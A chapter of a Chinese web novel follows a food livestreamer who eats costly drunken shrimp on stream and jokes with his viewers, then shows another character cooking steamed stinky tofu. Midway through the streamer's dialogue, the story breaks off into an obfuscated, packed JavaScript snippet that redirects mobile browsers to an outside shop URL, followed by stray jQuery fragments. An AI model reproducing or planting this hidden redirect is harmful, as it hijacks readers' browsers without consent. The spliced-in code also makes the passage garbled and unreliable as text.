“西门不吹雪,只爱猛干饭,大家好,我是吃播西门一大碗,最近的主主题是[粉丝点啥我吃啥],今天的晚饭是一大——碗糟虾!”
钱包出血的事实已经不可改变,西门高保持着微笑,对着直播摄像头说出了自己惯常的开场白,可惜被直播间的观众一眼看穿。
{今天的主播怎么笑的发苦?}
{不想笑就别笑了,我们顶多取关}
{主播今天吃的是虾吗,看上去很不错的样子}
{大家好,我是新来的,请问主播是不是一直都是这种表情,我试了下,好难做出来啊}
……
大部分观众都是下午留下的,自然知道西门高的笑脸为什么会带着肉痛,但不妨碍他们纷纷起哄,当然也有些良心未泯的,只是很快淹没在了乐子人的大军中。
西门高已经习惯了自己搞抽象的粉丝,非常迅速的从众多弹幕中捕捉到一条跟晚饭有关的,继续说了下去。
“这份虾是我在小摊上买的,你们看着是不是觉得很诱人,但如果我告诉你,这虾是按只卖的,而且一只售价这个数呢?”
西门高比了个手势,成功把直播间的氛围炒热,然后娴熟的抛出了福袋。
“大家可以猜猜这份虾一共有多少只,半分钟的时间,猜对的可以获得大碗赠送的福袋哦,机不可失失不再来……”
熟练的说着废话拖时间,西门高瞅着直播间人数的增加趋势已经放缓,便低头开始剥虾。
西门高去的时候,虾仁已经被不缺钱的健身爱好者买光了,不然他的心痛还得更上一层楼。
虾仁表面带着浅淡的油光,虾皮看似粘的紧实,其实轻轻一揭就跟虾仁尽数分离,还非常懂事的没带上一丝虾肉,连背上的虾线都是长眼色的橘红色,甚至让西门高觉得不挑也行。
当然最后还是挑了,天大地大节目效果最大,钱都花了热度必须得接着,不然就是输两次。
“你们看啊,俗话说得好一份钱一分货,这虾虽然贵,但看着是真舒服啊。”
西门高把虾仁凑到镜头前,让观众们清楚的看到雪白的虾肉,也不知道是有意还是无意,那虾尾还挂着一小粒水珠,慢动作落下的瞬间几乎让所有的观众屏住了呼吸。
确定了,这就是他们的梦中情虾,他们命令这个虾仁立刻跳到他们的嘴里,最好再送他们两块金砖!
直播间的家人们正想象着虾仁的味道,突然幻想对象消失,面前突然出现一男的,啊呜一口把他们的梦中情虾吞进了肚子。
不——!
无数人伸出了尔康手,隔着屏幕发出了愤怒的吼叫,本来不急不缓的弹幕直接被简单的字句刷屏,偶然进入的路人还以为自己闯进了土拨鼠大军。
{啊啊啊啊啊——}
{大碗你在做什么,给我停下来——}
{有那么好吃吗?}
{放开我的虾仁,那是我的,我再说一遍放开我的虾仁——}
{虾宝啊,妈妈对不起你,让你被坏男人带走了呜呜呜——}
{当然啊,你没看到主播好吃的身上都冒出圣光了吗,我爷信了一辈子的教,祈祷的时候都主播吃虾的眼神虔诚!}
{上辈子,我因为不知道地址,只能看着主播吃下我的梦中情虾,这次我重生了,我一定会……}
{有那么好吃吗,我看着也就一般般……呜呜呜主播求你寄过来吧,实在不行我给你跪下了。}
{说了多少次不要在直播间读小说,所以你重生之后呢?}
{主播手上的虾仁是看着好吃,它肯定是酸的!是苦的!}
……
直播间爆炸了,但西门高已经无暇顾及,他已经被虾仁的美味侵占思绪,也总算知道为什么会有人自称“红薯脑袋”,“土豆脑袋”,因为他已经飞速进化成了一个不折不扣的“虾仁脑袋”!
再看那一大碗虾仁,西门高已经没了肉痛……好吧还是有的,但更多大还是庆幸。
幸好他被粉丝架着买了这么多虾,不然就要错过这等美味了!
最后一点虾肉被虔诚的咽下去,西门高总算想起自己还在直播,假装打开手机看了眼,就“被”密密麻麻的弹幕吓了一跳。
他这是火了?
西门高不确定,但不妨碍他继续剥虾,这次的虾剥起来可就不是之前的漫不经心了,他小心翼翼的在虾头处动着,试图找到让虾头完美分离却只带走最少虾肉的角度。
这虾贵的他心里滴血,美味的让他舌头发颤,少吃一丝虾肉都会让西门高觉得自己吃了大亏。
一只虾剥离失败,虾仁进嘴,虾头放碗。
两只虾失败,进嘴放碗。
三只失败,进放。
四败。
五。
……
“成功了,看啊,家人们我做到了!”
尝试到第二十八只的时候,拧下来的虾头不带一丝虾肉,虾尾的一点点红尖完完整整,西门高激动的举起手上的虾仁,却只看到满屏的交出地址,他咳嗽了两声试图拖延,甚至玩起了抽象。
“我记得那话怎么说来着,九九成,稀罕物~”
玩梗是要付出代价的,试图耍小心眼的主播被聪明的观众一眼看穿,飞快的获得了“西门九千岁”的新称呼,没有直白的说出那两个字是家人们仅剩的心软,但如果西门高再不交出地址,他们只能直呼了。
“好了好了,我说就是了。”
意识到自己不能独占美味小摊,西门高在卖了几个关子后也没瞒着,爽快的给出了地址。
“摊子在昌南的扶河桥这边,想吃的家人们可以自己去买,贵是真的贵,但味道对得起价钱。”
地址都给出去了,福利自然是不可能放的,这些虾也就是看着多,其实他一个人就能解决掉,哪里还有其他人的份?
当然话不能直说,在脑子里加工修饰后,西门高的语言就变成了这样。
“我的粉丝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223246|148216||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都是外省的吧,这虾吃的就是一个新鲜,主播也想给你们邮寄,但是到地方怎么着都得过夜,虾的味道肯定就不怎么样了。”
西门高一边说,一边无视了{我就是昌南人}之类的弹幕,故作不经意的把手机扣在了桌上,看着电视上飞快划过的弹幕,只觉得本就好吃的虾仁又加上了一层美味buff。
是的,西门高为了观看自己的直播效果,专门在桌子面前安了个电视,加大号的字体对视力特别友好,至于拿手机看弹幕什么的……人生如戏全靠演技。
最后一个虾仁吃到嘴里,西门高才重新开了手机,非常做作的惊呼一声。
“原来还有昌南的网友啊,你们早说嘛。”
直播间的家人们:就是说,一个人怎么能无耻到这种地步!
西门高跟网友插科打诨,琢磨着明天还得去一趟扶河桥,只不过这次不开直播还得做点伪装,省的真的碰上来找小摊的吃货。
虾能做成这种味道,贵就不是它的缺点,而是自己的缺点!
***
黎秋月哼着歌到了家,吃掉了自己炖好的鸭架汤,又从水里捞出臭豆腐,准备做个清炖臭豆腐。
这道菜是徐家学来的奇奇怪怪的菜品之一,但味道不差,主要是黎秋月凑减价买来的臭豆腐总算在不浪费油的情况下有了解决的方案。
臭豆腐已经在水里泡了几个小时,盐去到了能被接受的程度,黎秋月把它们放到深口碗中碾碎捣烂,发现勺子不听话的时候就放两勺麻油进去,搅动一下就变得容易起来。
做这道菜的时候要从食材开始注意,只有白色的臭豆腐,加入生抽和香油才会变成好看的浅黄色,炖出来会有好味道——重点是黎秋月只看过用白的,没见过家里用黑色的。
对于这种一个不对就很容易失败的食材,黎秋月向来墨守成规。
要是觉得浅黄色不好看,还可以加入酱油调色,黎秋月喜欢相对明亮的颜色,所以只放了一点蜂蜜搅匀提味,确定所有的食材都混合均匀,就可以上锅开蒸。
蒸字并不是错误的说法,黎秋月家里一直管这个叫清炖臭豆腐,据说别人就是这么叫的,小时候的黎秋月不知道缘由,直到上大学搞活动,有个人提到了他们的家乡方言,黎秋月才恍然大悟。
在苏州话中,大火猛蒸叫蒸,文火慢蒸叫炖。
昌南没这个说法,但从小到大的听着,黎秋月也习惯了。
搅匀的碗放到带水的大锅里开大火,等水沸以后转小火慢蒸,至少两刻钟后才能出锅。
跟重新放了鸭油胡椒黄瓜片,料酒麻油香菜末,吃起来香鲜酸辣的鸭架汤不同,清炖臭豆腐外形跟猪脑颇有几分相似,吃起来鲜嫩肥美,却没有多少恼人的油腻。
一整碗下肚,黎秋月用水漱漱口,拿了个南瓜饼结束今天的晚餐,便心满意足的上床睡觉,却不知道在昌南大学里,一个关于鸡爪摊主去哪里的帖子依旧顽强的挂在表白墙的首页,鲜红的爆字格外显眼。